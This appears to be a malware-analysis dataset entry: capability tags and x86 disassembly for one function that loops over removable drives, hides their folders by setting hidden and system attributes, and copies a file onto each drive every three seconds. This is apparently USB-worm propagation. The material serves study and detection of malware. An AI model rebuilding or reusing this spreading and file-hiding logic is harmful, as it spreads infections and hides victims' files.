Function at 0x401010
Capabilities:
Enumerate files on windows
Get common file path
Get disk information
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x42238c
mov eax, dword fs:[0]
push eax
sub esp, 0x484
mov eax, dword [0x42ce60]
xor eax, esp
mov dword [esp + 0x480], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x42ce60]
xor eax, esp
push eax
lea eax, [esp + 0x498]
mov dword fs:[0], eax
call fcn.004032f3
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x401065
push 0x80004005
call fcn.00402450
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
mov dword [esp + 0x4a0], 0
call fcn.004032f3
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40109a
push 0x80004005
call fcn.00402450
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push 0x100
lea ecx, [esp + 0x298]
push ecx
mov byte [esp + 0x4a8], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [esp + 0x294]
lea edx, [eax + 2]
mov ebx, 2
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x4010d4
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x298]
push edx
lea ecx, [esp + 0x24]
call fcn.004022e0
mov eax, dword [0x426f54]
mov ecx, dword [0x426f58]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [esp + 0x28c], eax
mov dword [esp + 0x290], ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor esi, esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x20], esi
mov ecx, esi
mov eax, 1
shl eax, cl
mov ecx, dword [esp + 0x30]
lea edx, [esi + 0x41]
mov word [esp + 0x28c], dx
test ecx, eax
je 0x401317
lea edx, [esp + 0x28c]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, ebx
jne 0x401317
lea eax, [esp + 0x28c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x401163
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x290]
push eax
lea ecx, [esp + 0x20]
call fcn.004022e0
push 0x426f5c
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x40]
push edx
call fcn.00401940
mov eax, dword [eax]
add esp, 0xc
lea ecx, [esp + 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebp, eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4011ca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x3c]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x401310
mov edi, edi
test byte [esp + 0x3c], 0x10
je 0x4012f8
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x2c]
push ecx
call fcn.00401940
mov edx, dword [esp + 0x48]
mov eax, dword [eax]
add esp, 0xc
or edx, 6
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401233
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x68]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x34]
push eax
call fcn.00401940
push 0x426f60
push eax
lea ecx, [esp + 0x3c]
push ecx
mov byte [esp + 0x4b8], bl
call fcn.00401940
mov esi, eax
push 0x426f6c
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x54]
push eax
mov byte [esp + 0x4c4], 3
call fcn.00401940
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x24
push 0
push esi
push eax
call edi
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4012a9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4a0], bl
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4012d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4a0], 1
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4012f8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x3c]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4011e0
mov esi, dword [esp + 0x20]
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
inc esi
cmp esi, 0x20
mov dword [esp + 0x20], esi
jl 0x401123
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401113